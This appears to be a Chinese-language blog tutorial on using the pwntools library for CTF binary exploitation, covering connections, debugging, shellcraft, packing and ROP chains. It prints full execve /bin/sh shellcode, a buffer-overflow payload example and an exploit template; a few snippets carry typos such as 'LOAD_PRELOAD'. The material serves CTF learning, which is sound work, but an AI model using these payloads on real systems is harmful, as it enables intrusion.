pwntools是由Gallopsled开发的一款专用于CTF Exploit的Python库,包含了本地执行、远程连接读写、shellcode生成、ROP链的构建、ELF解析、符号泄漏等众多强大功能,可以说把exploit繁琐的过程变得简单起来。这里简单介绍一下它的使用。Exploit利器——Pwntools
pwntools中文文档
Pwntools | Lantern’s 小站 ,这篇文章也是参考了另一篇 pwntools使用 | 简书 ch3ckr
本文结合两篇,再加一点自己的见解(除了官方玩当还有其他引用,成套娃了)
ubuntu python3 pip3
sudo apt install libssl-dev
sudo apt install libffi-dev
pip install pwntools
虽是简单使用,但对于还是菜鸟的我,还是十分受用的。
from pwn import *
使用 from pwn import * 将所有的模块导入到当前namespace,这条语句还会帮你把os,sys等常用的系统库导入。
调试
context.log_level = "debug" # 打印调试信息
context.log_level = "error" # 打印错误信息,此时很多回显看不到
在运行时使用 DEBUG 参数
python3 exp.py DEBUG
在tmux中以分屏的形式启动 gdb
context.terminal = ['tmux', 'splitw', '-h'] # 横向
context.terminal = ['tmux', 'splitw', '-v'] # 纵向
gdb调试
gdb.attach(p, "b read") # "b read"为gdb开启后执行的命令
汇编
>>> asm('nop')
'\x90'
>>> asm('nop', arch='arm')
'\x00\xf0 \xe3'
contex指定CPU类型,操作系统类型,字节序,位数
context.arch = 'i386'
context.os = 'linux'
context.endian = 'little'
context.word_size = 32
使用disasm进行反汇编## 连接与交互
>>> print disasm('6a0258cd80ebf9'.decode('hex'))
0: 6a 02 push 0x2
2: 58 pop eax
3: cd 80 int 0x80
5: eb f9 jmp 0x0
注意,asm需要binutils中的as工具辅助,如果是不同于本机平台的其他平台的汇编,例如在我的x86机器上进行mips的汇编就会出现as工具未找到的情况,这时候需要安装其他平台的cross-binutils。
p = process("./pwn") # 本地
p = remote(ip, port) # e.g. p = remote("10.10.10.10", 23946)远程
sh.close() # 关闭
绑定libc
p = process(['./bin'], env={'LOAD_PRELOAD': './libc-2.23.so'})
p.send(data) # 发送数据,不带回车
p.sendline(data) # 带回车,相当于在数据后面加\n
p.sendafter(delim, data, timeout = default) # recvuntil(delim, timeout = timeout)和send(data)的组合。
p.sendlineafter(delim, data, timeout = default) # recvuntil(delim, timeout = timeout)和sendline(data)的组合
sh.recv(numb = 2048, timeout = dufault) 接受数据,numb指定接收的字节,timeout指定超时
sh.recvline(keepends=True) 接受一行数据,keepends为是否保留行尾的\n
sh.recvuntil("Hello,World\n",drop=fasle) 接受数据直到我们设置的标志出现
sh.recvall() 一直接收直到EOF
sh.recvrepeat(timeout = default) 持续接受直到EOF或timeout
sh.interactive() 直接进行交互,相当于回到shell的模式,在取得shell之后使用
p.recv(number) # 接收number个字节的信息, number可省略
p.recvline() # 接收一行信息
p.recvuntil(msg) # 接受信息直到msg出现
启动交互
p.interactive()
打印信息
log.success("msg")
log.info("msg")
shellcraft.i386.linux.sh()
打印出来:
>>> print(shellcraft.i386.linux.sh())
/* execve(path='/bin///sh', argv=['sh'], envp=0) */
/* push b'/bin///sh\x00' */
push 0x68
push 0x732f2f2f
push 0x6e69622f
mov ebx, esp
/* push argument array ['sh\x00'] */
/* push 'sh\x00\x00' */
push 0x1010101
xor dword ptr [esp], 0x1016972
xor ecx, ecx
push ecx /* null terminate */
push 4
pop ecx
add ecx, esp
push ecx /* 'sh\x00' */
mov ecx, esp
xor edx, edx
/* call execve() */
push SYS_execve /* 0xb */
pop eax
int 0x80
from pwn import *
context(os='linux',arch='amd64')
shellcode = asm(shellcraft.sh())
或
from pwn import *
shellcode = asm(shellcraft.amd64.linux.sh())
除了直接执行 sh 之外,还可以进行其它的一些常用操作例如提权、反向连接等等。
pack: p8, p16, p32, p64
unpack: u8, u16, u32, u64
就是打包解包
示例:
from pwn import *
elf = ELF('./level0')
sys_addr = elf.symbols['system']
payload = 'a' * (0x80 + 0x8) + p64(sys_addr)
...
elf = ELF('ropasaurusrex')
rop = ROP(elf)
rop.read(0, elf.bss(0x80))
rop.dump()
# ['0x0000: 0x80482fc (read)',
# '0x0004: 0xdeadbeef',
# '0x0008: 0x0',
# '0x000c: 0x80496a8']
str(rop)
# '\xfc\x82\x04\x08\xef\xbe\xad\xde\x00\x00\x00\x00\xa8\x96\x04\x08'
使用 ROP(elf) 来产生一个rop的对象,这时rop链还是空的,需要在其中添加函数。
因为ROP对象实现了getattr 的功能,可以直接通过func call的形式来添加函数,rop.read(0, elf.bss(0x80)) 实际相当于rop.call(‘read’, (0, elf.bss(0x80)))。
通过多次添加函数调用,最后使用str将整个rop chain 给 dump出来就可以了。
call(resolvable, arguments=()) : 添加一个调用,resolvable可以是一个符号,也可以是一个int型地址,注意后面的参数必须是元组否则会报错,即使只有一个参数也要写成元组的形式(在后面加上一个逗号)
这个例子我感觉很好
from pwn import *
elf_name = "./filename"
p = process([elf_name], env = {"LD_PRELOAD": "./libc.so.6"})
elf = ELF(elf_name)
libc = ELF("./libc.so.6")
context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-v']
rv = p.recv
ru = p.recvuntil
sd = p.send
sa = p.sendafter
sl = p.sendline
sla = p.sendlineafter
ia = p.interactive
def dbg(breakpoint):
gdb.attach(p, "b " + breakpoint)
p.interactive()